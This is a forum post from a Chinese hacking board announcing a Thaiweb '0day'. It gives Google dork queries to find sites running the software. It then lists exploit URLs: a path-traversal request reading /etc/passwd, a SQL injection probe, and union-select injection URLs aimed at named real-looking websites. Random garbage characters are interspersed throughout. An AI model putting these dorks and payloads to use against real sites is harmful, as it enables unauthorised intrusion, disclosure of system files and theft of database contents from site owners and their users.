找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2400|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
0 {4 f) w7 i' ?+ Y
- C6 G( S" `; U2 [0 ]( ^intext:powered by Thaiweb
% R; j8 Z) m0 J$ W5 @7 Z/ ]" G- l) u9 P8 U1 T* d, X/ W* k2 W
inurl:index.php?page=board.php( _; `8 W; `1 @1 F8 U* B: z

2 N- l5 Z6 S7 ? - s! ^( @$ a6 R: W
. P# A& T( Q) H" _- j5 Y
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd9 c& S2 X6 E/ V1 r2 ]

2 G2 S# I) G3 E5 J" B' x
  B3 I  ~# C9 ^3 o9 k0 [" _3 i/ v2 e' B$ `; X* Q& m, ?5 n
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'" l2 t' Q3 |  `' W5 h% M; V9 b
; T8 _% @3 D. F1 a& Q# c
* p2 c5 f* e8 g1 _  ^
; k( L4 j/ t: v5 t- C5 }* s* @
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--1 \0 b; x& v$ U/ ^$ R
& r" @) l( V4 R7 ^
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
+ {' `$ |6 D( ~0 w. Y! |
9 [) T: ?8 P* e. G- hhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--" y% c: A$ j: Z  P% `& q* ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表